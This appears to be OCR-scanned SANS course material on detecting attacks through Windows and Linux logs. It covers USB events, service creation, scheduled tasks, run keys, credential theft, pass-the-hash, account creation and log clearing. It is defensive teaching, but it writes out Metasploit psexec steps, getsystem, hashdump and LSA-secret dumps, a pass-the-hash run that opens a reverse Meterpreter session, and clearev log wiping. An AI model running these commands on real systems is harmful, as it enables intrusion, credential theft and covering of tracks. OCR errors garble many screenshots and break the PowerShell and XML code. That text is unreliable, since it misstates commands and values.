Microsoft\Windows\DriverFrameworks-UserMode log is
used for some devices (such as storage devices)

« Tracks every time device is plugged in or disconnected

« Also, tracks device session using GUID

» Detailed and complex

SECSS | SIEM with TictesFAhalytkey

L'SB Inzertion Events

Many LISB devices, especially storage devices, will generate between eight and nine events to the System
channel when they are initially plugged in, However, removal or reinsertion of these devices generates zero
events in the System channel.

Fortunately, all is not lost. The Event 1Ds generated in the Microsofti Windows\DriverFrameworks-UserMode
operational channel can be enabled. It logs mass storage devices and more at insertion, removal, and all
subsequent reinsertions and removals. 1t also tracks each device by its serial number as well as tracking each
unique session. A unique session consists of device insertion through removal. The events in this channel are
more verbose and can be slightly more difficult to read. However, they also are laid oul in a normal fashion and
could be parsed out to be easier for an analvst to read.

A few sample events are below:

Event 1D 2003:

The UMDF Host Proeess { {6hR0dedb-Rbad-4354-be2 5-b8O15d02d4(c) ) has been asked o load drivers for
device

SWINWPDBUSENUMY 77 USBSTOR#DISK&VEN_[5917&PRO D INNOSTORSREY 100#Z0120722198
| &0 | 53FS6307-B6AF-11DO-94F2-00A0C9 1 EFBRBE ],
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Event [ 2010;

The UMDF Host Process ({6b80dcdb-Bbad-4354-be25-b891 5d02d40c ) ) has successfully loaded drivers for
device

SWDVWPDBUSENUM_7?_UUSBSTOR“DISK&VEN 1591 T&PROD_INNOSTOR&REY 1.00#20120722198
1 &0#{53F56307-B6BF-1 1 DO-94F2-00A0C9 1 EFBSB]},

Event 1D 2100:

Received a Pnp or Power operation (27, 23) for device
SWD\W’FDBUSE‘HUM‘\_‘?‘?_USHETUR#DISK&\-’EN_IEQI?&PRDD_MDSTOR& REV_1.00#20120722198
| &0# {53F56307-BABF-1 1 DO-94F2-00A0C9] EFBEB).

Event [D 2101:

Completed a Pnp or Power operation (27, 9) for device USB\WVID_I18D1&PID 4EEI\FAGAHO301 181 with
status Oxf{).
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Windows Driver Framework

Monitors driver use, including keyboards and USB storage

massags fvent d
The Driver Manager service Is starting a host process for device 1883
WPDBUSENUMBRDOT UM, 253 7C 18685 IASTORAGESVOLUMES 77 LIS
BSTOAFDISKAVEN SANDTSKAPROD CRUZER F[T#HEU 1. 6Q#4C530088117020210239540

— ==
The host process | {F7CE0TDD SEEh-JDET-ﬁ.BﬂD-EFDHB?MEEm}} started 18E4
successfully.
The UMDF Host Process i[mnumn saﬁn-quEi-naqu-cFuBmmam]] has 2816

successfully loaded driVers Tor gevice
WRDRISENUMROOTUMEY, 2637 188BALASTORAGESVOLUMES T7_US
BSTORFDISKGVEN SANDISKAPROD CRUZER FITRAEY 1.6044C530001170202102395604.

Microsoft-Windows-DriverFrameworks-UserMode/Operational defaults to off

SECESE | SIEM wids Tacisml Anklylics

Windows Driver Framework

The Windows Driver Framework, unfortunately, defaults 1o off. However, it is easy 1o tum on with PowerShell.
The code to do so 15 below.,

$logName = 'Microsoft-Windows-[riverFrameworks-lUserMode/Operat fenal!

Slaog = New-Dbjeot Syst=m.Dlagnostios.Eventing.Reader.EventLogConfiguratlon
Floghams

Slog.l=sEnabled=5true # change to 5false if disabling

S$log.3aveChanges i)

This slide represents a few events that occur when inserting a USE thumb drive.
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Simplification is
acceptable/preferred
* Possible to run
third-party tool once
a day and log to file

* Better late than
never

NirSoft USBDeview

i

ﬁ' AR i
Fls Bt Wiew Cptisns  Hul
Xlee e | IR OA

\‘H\"l!l Name Dezcription Dence Typee Cof

W D000.0074.0000. 02 1001 D000 Displeylink LISH Aycka Adapter  Audic Yes

& 0000 14 0000 501001 SO0000.0_ Diaplant ink Mok Adapber . Commuestion Lt

@ GHI0 Geemirg Kbt USS Compeaits Device Unknowm e

@ G5 fuming Kepboard USE frpruet Dtz HID {Hueman ingeface Devicel Ve

@ G0 Garming Keyiaard USE imput Dievice HID [Hurmsn interface Devize) Vi

% G700 Laser Mewte LB Cormposite Device Unkmoven Vea

& HO Pra Webcam 220 Legitech USE Camers (MO Pro..  Uningwen e

@ st Enal Lk - £V

T 5= 3 >
I w4 mﬂme L T T BT T |

C:\>USBDeview.exe /scomma \\£s01\blind drop\20170510
-1149.csv /DisplayConnected 0 /DisplayNoPortSerial 1
/addexportheaderline 1

NirSoft USBDeview

SEZESS | SHEM wimh Tactrad Aralytice

The default System channel logs first insertions of devices, The Microsoft-Windows-DriverFrameworks-
UserMode/Operational provides detailed, yet eryptic, logs of device insertions, removals, and subsequent
insertions/removals, However, its logs are not the easiest to read and may require additional parsing for

maximum value. Both are built into Windows. However, sometimes it is simpler to use a third-party 1ol.

For example, the free NirSoft USBDeview can be set to run once a day and log to a CSV file. This file can then
be picked up and shipped off to an aggregator, In this case, the USR information is clearer and more concise to
follow. However, this process is no longer "real time" and requires making sure USBDeview.exe is allowed to
run on systems. There are abviously PROs/CONS, but know you have options. Also, remember that if ViU are
not using a log agent, you have the option of pushing the CSV to a network share for collection or can even have
PowerShell invoke NirSoft USBDeview and then take the results and create Windows events.

Reference:

http:/fwww.nirsoft.net‘utils/usb_devices view. html, hitps://secS55.com/bg
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CIS vb6 Critical Control 9:

"Manage (track/control/correct) the ongoing
operational use of ports, protocols, and services..."!

Services are frequently used for persistence and privilege
escalation (Event 1D: 7045)

» Services are often created when certain devices are installed
such as webcams, USB or wireless NICS, etc.

= Fairly easy to filter out/ignore legitimate services

SECESS | SIEM st Tocexal Analyeice i

Mew Services

In some instances. it s also possible to track device installations because they often create new services, More
importantly, though, tracking new services is a solid method for catching malicious activity such as successful
explostation, privilege escalation, and persistence.

Maonitoring new services can be overwhelming if filtering is not applied. For example, ifa new service log
comes in for XYZ and XYZ js legitimate, it should be added 1o this list of allowed services and be filtered out,
This process does nol work if you hove to review every service creation, What vou are looking for are new
services not previously seen or deny list services that are not allowed.

Refercnces:

hitps.//blog.rapid 7.com/20 | &/03/i}5/cis-critical-control-B-limitation-and-control-of-ports-protocol s-and-services,
https:fseci5S.comibh
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Device Service Creations

A& tarwlee was tnetallod in the syptem

Earvicte Nassi

Many external devices will it eeniisne
create services. This includes: =770 e ot e
« USB NICs S .
* Wireless adapters

A setwice way instalied in the system,

Sarvice ame: A
Gervice File NSS ]

+ Video cards AT S R

Sarvice §tort Typo: domond stmrt
AIE- t.hESe gﬂ{]dfbad? & servicon wad Ingtalled Ly the systes,

Servico Mame:
Service File B8 SyATeRYT BT
servicn Typr:  karmel mods driver
Service-Start Type:  dosmnd start

SELS5E | HIEM with Tactezl| Analytice  ldd

Device Service Creations

This slide demonstrates the installation of three USB devices. The top is an example of a USB-based graphics
card being installed, The second is of a USB wireless adapter being installed. The bottom is an example of 2 USB
NIC being installed.

Yet one of these is malicious... Of these three, the bottom device is malicious. It is actually a LAN turtle from
Hak3 that can be used to steal credentials or provide unauthorized network access. However, you could not tell
this from simply looking at the log. Realtek is a popular NIC, and the driver being loaded for this is legitimate. So
how is this useful? Do you allow USB NICs on the desktop? How about laptops? If not, this log could be the red
flag that helps vou identify what is going on.

Think of it this way:

You have a policy that users are not allowed to plug in unauthorized external devices. A week later, you receive
the bottom event about a Realtek 1ISB NIC being plugged into a device. You look up the computer and call the
user respansible for the device and ask them what they are doing, Their response is that they have not plugged in
a USB NIC. You ask them to look at the back of their machine, snd sure enough, there is a device plugged in,
and they have no clue how it got there. You then kick off an incident response procedure, and after all is said and
done you get a big promotion, & pat on the back, and cheers from your peers for discovering an unauthorized
LAN turtle by simply reviewing service creation events, Maybe you will not get a prormotion or even 4 pat on the
back, but if you are diligent enough to monitor this type of event, then this could be a true story and this author
will totally give vou street cred for it
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create services At s S
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Meterpreter compromise
through PSExec
* The bottom event is of —
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Immediately after execution, E gy * - R
" Ervice Type USHF BOfE LEFY1ER
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Serviee Creation Gone Bad

The primary benetit service creations give is the ability to discover some mainstream attacks. This slide
represents what gets logzed when someone steals credentials and uses them with Metaspleit’s! PSExec module.

‘T'his is one of the most commonly used penetration/attack methods o pivol theough an environment. However, it
creates a service creation event.

MNotice in the top event, the service name is random, This is an oppartunity to augmeant service creation logs with
frequency analysis possibly.

Service Naméeé: PWhEzDLwleieEXbH

If that was nol awesome enough, monitoring service creation could also catch common methods of privilege
escalation. Afler successfully gaining access to privilege, escalation is often used o go from a standard secount
to an elevated account or LOCAL SYSTEM, The bottons event represents an adversary escalating privileges o
LOCAL SYSTEM by taking advantage of how Windows handles named pipes”. Again, the service name
created to perform this task uses a randony name.

Service Name: tskuge

The ntmcker sieps o do this are simple. Assuming you have credentials of a box with the 1P address of 10.5.55.7
and have Metasploit installed, all you would need to do is found on the next page.
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mefoconscle

msf > use exploit/windows/snb/psexec

msf exploit (psexec) >
msf exploit (psexec) >
maf exploit (psexac) >

msf exploitipsexec) >
This is eprienazl (not

maf axploil (psaxec) >

set RHOST 10.3.53.7
set BEMBUser adminlstrator
set SMBEPass passwordgoeshara

set SMBDomain deomaingoeshere #
needed for local account asbuse)

axnlolt

IFit is successtul, you will be greeted with a meterpreter session. At this point, the first service creation event
would be generated on the victim system (with a new random name). Then, to perform privilege escalation, run

the command below,

meterpreter > getsystem

[ it uses the named pipe impersonstion method, then the second service creation event would be created on the

victim system.

[ 17 heps:/fwww. metasploit.com/, https://sec355.com/S]
[2] hitps://docs. microsoft.com/en-us/windows/ win32/ipc/named-pipes, htips:/secias.com/73
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Mew Scheduled Tasks

Persistence is also common using scheduled tasks
« Event ID 4698 (A scheduled task was created)

Most common forms of persistence:
] Smi'ice CrEﬂﬂUn hodtnmme: LogperdinTs8E mpedsage: O scheduled Bask was created.

- J IR I00N F-104 LA PR3- LOF] Account Mamsr Thendergom Acopunt [om

» Scheduled Task . TfowndE i e iimet \fuieP{dt Tk Conbiants <Sia vers
» Registry HKLM or HKCU Run keys

SANS DFIR statement --> Malware Can Hide,
« FOR526 Memory Forensics But It Must Run'!

SECEEE | LI winh Thieca| Analies

Mew Scheduled Tasks

Persistence, or maintaining access to a victim system, is typically accomplished using services, scheduled tasks,
or registry kevs. A commaon saying within SANS is "Malware can hide, but it must run." This is an absolute
truth and a key area for defenders 1o hone in on, Attackers often wanl o maintain access 1o o system, even
through reboots, This means it must be set to run on a system, thus, creating an opportunity for detection,

Monitoring service creation events would detect persistence via services. Next i3 1o momitor scheduled task
creations, For this to work, an auditing policy must be set for nudit object access rules. This needs to be enabled
1o log scheduled task creation events, This will then allow the logging of event 1D 4698 when a new scheduled
task is created.

Below is an example scheduled sk event. Notice it is highly detailed and provides lots of information about
how the scheduled task is configured.

Note: Link imbedded below is for reference and may not work

A soheduled btask was oreated.

Zukdect:

Security: Th: S-1=5-21-403184481-
2309030042~-1049214253-1001

Account Name: ihenderson

Arcount Domain LoggerWin =86

Logon Il WxdI3Te
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Task Information:
Task Wame: Vipconfigtest

Task Content: <?xml version="1.0"

encadlng="UTEF-16"2>

<Task version="1.2"
xmlns="http://schemag.microsoft.com/windows/2004/02/mit/task">

<RegistrationInfo>
<Date>z017-01-18T10:07i31 5556202« /Date>
<Author>LoggerwWwinixdé\ihenderson</Author>
</RegistrationInfo>
<Triggers>
<GalendarTrigger>
<StartBoundary>2017-01-1BT10:07:25, 4404095</StartBoundarys>
<Enabled>true</Enabled>
<BcheduleByDay>
<Daysinterval>l</DavsIntearval>
</8cheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals?>
<Principal id="RAuthor">
<BunLevel>leastPrivilege</Runlevel>
<{Jserld>LoggerWinTzREe\Ihenderson</Userlids>
<lLogonTyperInteractiveToken</LogonTypa>
</Principal>
</Prinoipals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatterissrtrue</DisallowStartIfOnBatterias>
<StopliGoingCnBatteries>true</StoplfGoingbnBatteries>
<AllowHardTerminates>true</AllowHardTerminates
<3tartWhenfvailable>false</StartWhenfvailables
<RunCnlyliNstworkAvailable>falge</RundnlyIfNecworkAvailables>
<ldleSettlngs>
<hiration>PT10M</Duration>
<WaltTimeout>PTIH</WaitTimeouts
<5topOnidieEnd>true</StopOnIdleEnd>
<BestartOnldle>false</Restartinidle>
</TdleSettings>
<AllowStartOnbDemand>true</AllowStartOnDemands
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<@nabled>true</Enablad>
<Hidden>false</Hidden>
sRunonlylfidle>false</RunOnlyI flcdle>
<WakeToRun>false</WakeToRun>
<ExgcutionTimelimit>P30</ExecutionTimeLimit>
ePrieoricy>T</Prioxrity>

<fEettings>

<hctions Context="Author">
“Exec>

<Command>C:AWindows\SyatendZ2\ipoonflg . axac/Commands

</Exec>

</Actinng>

</Tagks

Relerencies:

https:/fwww.sans.org/blog/sans-d fir-windows-memory-forensics-training-for3 26-mal ware-can-hide-but-it-must-

rund
hitps;/fsees5s.comT4
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Registry Auditing: Tactical Edition

& PREEETRY oAles mia meEifres,

Auditing logs can/should ...

St e B St P Bl S TR T b P B e B B L I

be used tactically .
* Event ID 4657 (A registry == _ _ e e
value was modified)
: Cpaeprion Tipe W TRty aalie crwated
When used improperly, N e ™~
generates tons of logs... e
» Tactical use is minimal T e,

Useful for monitoring HKLM/HKCU run keys

FECES | SEM mith Tictl Ampvass

Registry Auditing: Tactical Edition

Another common and possibly the most frequently employed mechanism for maintaining persistence is the user
of specific registry keys. Of these, the HKLM, or HKEY _LOCAL MACHINE, and HKCL, or

HKEY CURRENT_USER., run keys are the most common. These control what executables are launched at
system startup or user login,

Again, for this 1o work, an audit policy must be set to audit object access. 1f using the advanced audit policy, this
requires enabling the Audit Registry policy. Enabling this does not cause all registry key access to be logged.
Instead, it allows setting audit ACLs per registry ohject.

While there are multiple registry kevs that can be used for pemsistence, these are the two most common that
auditing should be enabled on:

HKEY LOCAL MACHINE\SOFTWARE\Microsoft'\Windows\CurrentVersion'Run
HEEY CURRENT USER\SOFTWAREWMicrosoft\Windows\CurrentVersion\Run

110 £ 2022 SANS |nstitute
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Credential Theft

Credential theft can be fairly easy for attackers

+ The initial system can be used to pivot laterally and
collect/reuse credentials

Common methods:
» Accessing LSA Secrets (service account passwords)
* Other saved passwords
» Password hash (Pass-the-Hash)

Credential theft typically does not log, but use does

SECEES | BIEM with Tadisal Amalyvtles- 10

Credentinl Theft

Dutside automated worm activity, credential theft is used in almost every major compromise, While everyone
likes to think of hacking as exploil alter exploit, the reality is only one, if that is negded. Onee o foothold is
made on & network, eredentials are typically stolen and used to move from one box to the next. This is
surprisingly easy to do,

On Windows, there are multiple ways o steal eredentials. IT service accounts are being used, the password for
them is stored in & special registry key called LSA secrets (HKEY _LOCAL MACHINE'Security!
Policy'Secrets). While there {5 a level of encryption/decryption involved, many hacking tools or even
PowerShell scripts exist to pull these passwords out. Similar methods exist 1o pull other saved passwords such
as those saved for scheduled tasks, Internet Explorer stored passwords, cte, But the icing on the cake is that
cleartext username and passwords are not necessarily needed.

Oine of the most devastating forms of credential thefi is pass-the-hash. This involves dumping the password
hashes of 1 Windows box and simply using the password hash to log in to another box. The password does not
need to be known for this to work,
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Credential Theft Examples

meterpreter > hashdump
Hash dump-} Administrator:500:aad3b435b51404eecaad3b435b51404ee:32¢c4
72a3b02cedB9bl13We93c23303ef: ;
Guest:501:8ad3b43Hb51404ecaad3b435b51404ee:31d6cfdd16a
e931b73c59%e0c0EED: : :
Saved Cred  hacker:1008faad38935b51580ecaad3b435b51404¢e - Bcbh948805
l T797bf2a82807973hBO537 ¢+

meferpreter = run post/windows/gather/lsa secrets
+] Key: _SC_SEC555

Username; .“service account
LSA Secrets -> Decrypted Value: [SUDErSECTE}

LOGGERWINTIBE Tadkx UitraSderetvatcwnnl 23

B 233 | SIEM with Tocoed Analyiz 112

Credential Theft Examples

This slide demonstrates three common methods of stealing eredentials. The hash dump is probably the most
common. It involves compromising a box and dumping the password hashes. In this case, Metasploit
Meterpreter! was used to perform the hashdump, The breakdown of the hashdump is below.

Administrator:500:aadibd35b51404eeaadibd35651404eas:32c472a3b02cadB0h11 39093
c23903afi::

I. Administrator is the username

2. 500 is the RID or relative identifier (The local administrator avcount, if renamed, will always have a
RID of 5007

3. aadib433b5140decandib435h5 14042 is the LM Hash
4. 32cdT2a3b02cadB0b1 13993023903 is the NT Hazh

The saved credential attack utilized NirSoft Network Password Recovery to pull the username and password
used for a scheduled task. In this case, the scheduled task had a username of Tasks and a password of
UltraSecretPassword 123, Note the length of the password does not affect this kind of attack.

The last example in this slide utilized Meterpreter to access the LSA secrets, It automatically decrypts the
registry entries and outputs them to the screen, In this case, the user called service account had a password of
SuperSecretPassword] 23, Again, the length of the password is not affected by this type of attack.

References:

https://www,offiensive-security.con/metasploit-unleashed/about-meterpreter, https://sec355.com/5i
hitp:/iwww.nirsoftnevutils/metwork_password _recovery html, hitps://sec555.com/6i
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Pass-the-Hash (PTH)

Passwords do not need to be known to be used
» PTH uses password hashes to log in to other systems
» Sounds evil... but is how legitimate logins work

Username and hash is used to log in to network resources

g administrator
=3

‘%‘: \.r

aad3b435b5 140400aad3b435b51 404ee:32c47223b02cedB89b1 | 399323903 ef

SECEES | FEM whih Ttk Amlytles - 110

Pass-the-Hash (FTH)

Pass-the-hash is one of the most dangerous attacks if pulled off successfully. For example, if you are running a
lot of Windows 7 boxes and have the local administrator account enabled with the same password on each box,
then compromise of o single box can create a domine effect, The first box gets compromised, and then the hash
o the administrator account can be used to compromise all the other boxes immediately. This is why newer
operating systems attempt to disable the local administrator account by default,

The picture in this slide represents how pass-the-hash works. [n this case, the attacker passes the username plus
the LM/NT hash combination to the target victim. If the victim system's administrator hash is & match, then the
login is successtul.

Microsofl has atlempied o make pass-the-hash less effective by disabling its use for local accounts. However,
thiz does not apply to RID 5300 (administrator account). 1f you need a local administrator aceount, the
recommendation is to disable the built-in administrator account and create o new one.
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Pass-the-Hash Example

msf exploit|psexec) > sat RHOST 146.8.8.164

RHOST == 18.8.0.184

psf exploit{psexec] > sot SHEU5er

SMBUser == Administrator

pst exploit{piexec) > set SMEFass sadib43sh5ld0desaad3bdiShsldades: 32e472a
IbB2ceddobll39e93c23903af

SMBPass = nudih435h51dﬂ4eeqillﬂﬁggnﬁlqﬂﬂee:32c4?233hﬂ2ceqaah1139!ﬂ3t23933

suplolt |psexec) >
exploltipsexec) = expioit

e

| Started reverse TCP handler on 18.8.6.102:4444
] 16.9.0.164;445 - Connecting to the server..,
1 18.8.8.184:445 - Authentlcating to 18.8.9.184:445 as user 'Administrat

| 18.8,.8.104:445 - Selecting PowerShell target

| 18.8,8,.184:445 - Executing the payload,.,

[+] 18.9.8.1604:445 - Service start timed out, OK 1f runnimg a command or n
an-service sxecutable. ..

[*] Sending stage {957999 bytes) to 16.6.0.164

[*] Meterpreter session 7 opensd (18.9.08.182:4444 -> 18,9.8.104:43177) at
2817-81-18 B8:27:45 -9G00

meterpreter =

AT AlE wte-Ticte| Anabruca

Pass-the-Hash Example

This slide represents successfully compromising another system with Metasploit using pass-the-hash, Pass-the-
hash is performed with the psexec module in Metasploit.
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Successful Login

An acongnt was wwocesEtally Yogoed on.

Successful login result ...

securiny D #=-1-0-C
* EventID 4624 sheitiipia :
ugon 10 v

PTH often uses local ... ... ,
administrator account s o

security 10 5-1-3-11-401184481-3 199050093 - 1640214551500
« The domain is set to s w
LY KD [=h Rl e
IDCB.] Eﬂmputﬂr name Legon il T GG~ DO - St =GB - GO0 DaD DaN 0]
- Frocess Infernation
And again, we see attack rrocese tni

tool using randomness . om—ouo

Workstation kap=: Eu-.'a.tj:a-..us.!l,ﬂ:ug.-i

fearce Wibeck hddoess: 10.9.0. 107
SoaTce PACT 13637

SECASS | SEER with Tactial Avaiytics

Suceessful Login

The good news is that catching jocal accounts being used for pass-the-hash is simple 1o deteet. This is because it
is typically not normal for local accounts 1o be used 1o log in 1o another system. To monitor for pass-the-hash
attempts, look for successful logmin events where the account domain is net using your local domain.

Another way to identily this is to look for workstation names (the source of the authentication attempt) that ure
using random names or do not follow your naming schema, By default, Metasploit generates a random hostname
when performing this type of attack.
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Mew User Account

Account creation is normal within Active Directory
* But not so much for local accounts

Sometimes used to help

attackers maintain access [ e e
* Monitor what is e Security ID: LoggerinT&6\ jhendersan
unexpected P i ﬂm:ifﬂﬁ
« Requires knowing i o
what to not expect i
Event ID 4720 Bt Do

New User Account

Because using credentials inside the network is easier and far stealthier than running exploits, adversaries will

o

fien create accounis either on local systems or in Active Directory. This allows them to get back into a system

with ease. Internally, server-side attacks may be used to exploit vulnerable systems. Once exploited, local
atcounts are set up for repetitively gaining access to the box without re-exploitation.

Hapefully, by now, yvou have discovered a pattern. [t is important to monitor for mormal but unexpected events,

L

opons are normal. Local logons from one machineg to another are likely not. This logic is a key defensive

technigue. It is also the focus of many hunt team exercizes,
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Sensitive Security Groups

& rmembier wag sdded 1o 8 ssounity-enabled ocal group.

Malicious or not... sensitive groups s

: Sacuy [ L ogegeeiind ol ghendereon
should always be monitored povsiontivsi-MR oot A8
- Al Logon 10 ThESXT38
« Manual review = minimal labor Merrbes
Sacurity It LoqoerdinTEE" hacker

Aceoimt Name -

A prvesmbeer was scded te 0 serusity-enabiled glabal groug oo

e fpnumy il TESTwdmarayieetis ID 4?32 —} E:E::Ei?m )
Acoount Mame miminigttos reup Darmsen:
?:qmm"rfﬁnmw B SET lﬂcal gmup

Iiembec
e R e <= 1D 4728
e tame global group

SEGS55 | SIEM winh Tacticn) Anabetics |77

Sensitive Security Groups

Event monitoring is'a great candidate for allow listing, which involves monitoring all new/unknown
ococurrences. Sensitive user groups are a perfect candidate for this. Mo changes, legitimate or otherwise, should
be made to sensitive groups, such as the all-powerful Domain Admins or Enterprise Admins groups, without
being monitored, Even if someone is legitimately being added to one of these groups, it should be verified and
mapped (o an approved change control request.

Below are the event 104 to monitor:
ID 4728: A member was added to 8 security-enabled global group

[0 4732: A member was added 1o security-enabled loeal group
I 4756: A member was added to a security-enabled universal group
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Domain Controller Administrators Group

What level of access does the hacker user have when added
to the Administrators group on a domain controller?

A member was added to a security-enabled local group.

Subject:
Secunty 1T: TESTadministrator
Account Mame: administrator
Account Domain: TEST
Logon 1D: e 16145ETA
|Member

SECESE | HEM with Tactil Anbeties

Domain Controller Administrators Group

This slide shows the user hacker being added to the local Administrators group on a domain controller. Given
this scenario, the user hacker effectively has domain-wide privileges since being a member of the
Administrators group on & domain controller gives full access to the domain controller and its account database,

118
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Linux New User/Group

Built-in logging can identify new users

Adduser command creates a new user and a new group

Mar 12 11:27:17 ubuntu groupadd[4130]: group added to feblo/group: name-=debug,
GID=1001

Mar 12 11:27:17 ubunte groupadd{4130): group added Lo /fetc/gshadou: name=debug
Mar 12 11:27:17 nbunti groupadd{4130]: new groupt pame=debug, GID=1001

Mar 12 11:27:17 ubunty useradd(4134]1: new user: name=debug, UID=1001,
GID=1001, home=/home/debug, shell=/bina/hash

Mar 12 11:28:06 ubunty chifn(4l46); changed user 'debug' informatlion
Log Agent picks up these events from /var/log/auth.log
and forwards to SIEM

FELANS | S wieh Tacuea Aatiyrics

Linux New User/Group

Attackers can use several methods lor persistence; one of these technigues is to create a new user account on the
compromised system, Built-in logging can easily identify the creation of new users and groups in the auth logs,

These events can be forwarded via & log agent monitoring the authentication logs and correlated with change-
tracking systems to ensure that there is authorization for the creation of new user accounts and can provide
evidence of an attacker establishing persistence on a system. Analysts should be continuously monitoring new
user-crealion events.

D 2022 SANS Institute 118
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Clearing logs seems innocuous but should not happen

* Adversaries like to hide their tracks

* Windows does not allow stopping Event Log service

* Requires attackers to clear event logs to hide

ehannsl

SYSTEem
Attacker

Security
meterpreter > clearev

[(*] Wiping 141 records from Application...
[*] Wiping 724 records from System...
[*] Wiping 310883 records from Security...

Clearing Logs

event_d

14

1im

I'I'HE.i.lgtl
The System fog file was cleared.

The awdit log was cleared.

~N

Victim

TECRSS | BIEM wifri Thicties) Artabyelis

Attackers sometimes attempt to hide their tracks, This is actually fairly difficult on Windows, as you cannot
simply disable the Event Log service. You can try, but it will fail to do so. Killin g the process off can lead 10
Windows crashing. In this respect, Microsoft has really done a great job in protecting the system’s integrity and

P

rotecting the log service.

If logging cannot be disabled, it requires one of two things: Changing audit policies in an attempt to prevent
certain fogs from being created or clearing the logs. Both of these events can be monitored as, in itself, making
changes to them gencrates an event. For example, tlearing the System channel causes the logs to be removed,
but then event ID 104 is generated stating the System log file was cleared. The same is true for many other
channels being cleared, although most log to the System channel that they have been cleared,

In this slide, 8 Meterpreter shell is used to clear Windows events with the clearey command,

120
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2013 Compromise Revisited

Discovering and monitoring key events is important

» USB compromise CAUGHT
+ Service creation from compromise CAUGHT
» Persistence/Foothold CAUGHT
» Credential theft and use CAUGHT
» New account in Domain Admins CAUGHT
» Logs cleared to hide tracks CAUGHT

Keep in mind: Most of these detects were subtle in nature...

TECRES [ SEEM winhy Tapoicd Anatysts

2013 Compromise Revisited

The Lab Me, Ine. compromise Jed toa breach that cost the organization millions. Again, this is a fake
arganization, but the damages and incident mirror directly to real life. Had a tactical STEM been deployed, this
could have been caught early on, and the attacker’s end goal stopped.

In this scenario, every major step of the attacker was caught, including the initial compromise. And 1o think they
were caught with only Windows events. Yet, most of these detection mechanisms were not huge red alerts that
said: "YOU HAVE BEEN COMPROMISED." Instead, most of them were subtle and the work of monitoring
events of interest that can be mapped against vour organization, These examples and events were by design,
Some events can be monitored and are "in vour face” alerts warming that you have been compromised. However,
some of the most powerful monitoring capabilities are the subtle ones—similar o those listed in this scenarin.

In case vou think this is a hand-picked scenario used to show complete detection of an attacker’s movements,
you are right. If you are thinking because of that these technigues will not really work. you are wrong. These

events were picked because they flat-out work and have actively caughn things in multiple organizations this

author has had the pleasure w work with, The main difference is that vou may not catch every attacker 1o the
level of fullress given in this scenario. But that is OK. The goal is to catch the attucker before they meet their
goal. If you stop and think abourt it, had only one of these techniques worked, it is possible the attacker could

have been kicked off the network prior to stealing the patient data.

Apain, o tactical SIEM is designed 10 implement multiple ripwires to find and catch the enemy. Think of itas
passively hunt teaming.
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SEC555 Workbook: Exercise 3.2: Catching Evil with Windows Logs

Exercise 3.2: Catching Evil with
Windows Logs

* Exercise 3.2 is in the digital wiki found in your student
VM (recommended)

« Alternatively, you may use your Workbook

MECESS | 5IEM wich Tactitgl Atz 12
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Course Roadmap

» Section 1: STEM Architecture

« Section £: Service Profiling with STEM

» Section 3: Advanced Endpoint
Analytics

= Section 4: Baselining and User Behavior
Monitoring

* Section 5: Tactical SIEM Detection and
Post-Mortem Analysis

= Section §: Capstone: Design, Detect,
Defend

Advanced Endpoint Analytics

I. Windows Logging

L Linux Logging

3. Endpoint Collection Strategies

4, EXERCISE: Windows Log Filtering
5, Events of Interast

6, EXERCISE: Catching Evil with Windows Logs
8. Login Events

9. EXERCISE: Login Monitoring

0, O5 Protection

1. Container Logeing

12, EXERCISE: Dockar Monitoring.

S

ST winh Thovcal Adagytic:
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Regular Events

Everyday events can be overlooked

« High log volume is intimidating

= Alot of content is of low value

» Advanced filtering and/or collection required
Examples:

* Host-based firewalls

» Login/Logoff events

SEETERE § 51 whith Tucocal Anstyoss

Regular Events

In your journey of SIEM empowerment, you are guaranteed 1o come across logs that seem like everyday events
with high volume. The high volume tends to make these events good candidates for filtering. However, give the
logs some thought and think outside the box, as it may be possible o use them properly.

One such example is host-based firewall logs. These logs are high-volume in nature, especially in Windows
environments. However, firewalls are not solely preventive devices. [n fact, they double as a pretty amazing
detection device.
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Lab Me, Inc. Firewall Project

Desiree, the CIO, received a pop-up stating a program has
been blocked by her host-based firewall

» The program blocked was malicious in nature
« Now she wants to see if host-based firewalls are effective

This project is now yours to complete

T e

wall hias blocked sofme features of this program

SECEES | SIE vt Tocial Analpins- |2

Lab Me, Ine. Firewall Project

To drive this module home, another real-life scenario is provided. While not always convenient, there usually is
o time where a senior executive sees something or has something happen that causes them to be interested in
something specific. In this example, Desiree, the C10, receives a pop-up that blocked a malicious program. Since
it suceessfully blocked something, she now is interested in how well the firewall is working across the board.

As a security professional, we should have the ability to answer this type of question. Yet, most organizations
this author has worked with or consulied for would not be able to answer a question like, "How oflen does your
host-hased firewall block things™ Or how about, "And of those blocks, how many of them are false positives?"
This module is to show how this can be done. even though host-based firewall logs are often noisy,
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High-Volume Problem

Consider firewall logs of a single machine
« Allow + Deny can easily exceed 25,000 events an hour
« Isaround 5 to 8 EPS per system (adds up quickly)
Default system often blocks 100+ connections in an hour
« Monitoring allowed connections seems out of the question

« Monitored blocked connection still seems problematic

This type of problem is normal and can be solved...

SECESS| HEM wikh Tac il |"||_|.'_|Iy-'_'~:: il

High-Valume Problem

Monitoring host-based firewalls is a high-volume problem. A single machine can easily generate over 25,000
events an hour. Granted, this is only around 5-8 EPS, but add that up for each device, and this is an insane
volume to control, To make the problem worse, a standard system is lHkely generating over 100 blocked
connection logs an howr.

If a firewall blocks something. should it not be investigated? Yet is a person capable of investigating 100 blocks
per maching per hour? The answer is no; yet with some adjustments, the answer can be yes.
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Host-Based Firewall Logging

Windows Linux

Default: Windows Firewall Default: iptables

Available since XP/2003 Been around forever (born 1998)
* Major upgrade starting with * Features and performance

Vista/2008 expanded over lime

Logging Options Logging Options
* Security channel * Log file (location varies by 0S)
* Log file Cost: Free

Cost: Free

SECSER | HEEM wiah Fartieai 'u-u_h-u.: 1

Host-Based Firewall Logging

Two of the most common firewalls are the Windows Firewall and Linux iptables. This is primarily because they
are built into their respective operating systems. Note that while this module hones in on these two native host-
hased firewalls, the concepts apply to pretty much any third-party host-based firewall as well.
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Windows Firewall with Advanced Security )

Windows Firewall with Advanced Security (WFAS) )
was introduced with Vista '
Free but with a nice feature set:

» Stateful firewall capabilities

* And inbound and outbound control

« IPsec authentication and encryption integration

. s y O

No central reporting is available and... =
» Logging is disabled by default M)
)

GELSSE | BIER wich Tactical Analyncs i { J
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Windows Firewall with Advanced Security ()
While the Windows Firewall is free, it is actually powerful. It has standard functionality such as -
inbound/outhound rules and is a stateful firewall, Some of its more powerful capabilities surround the use of O
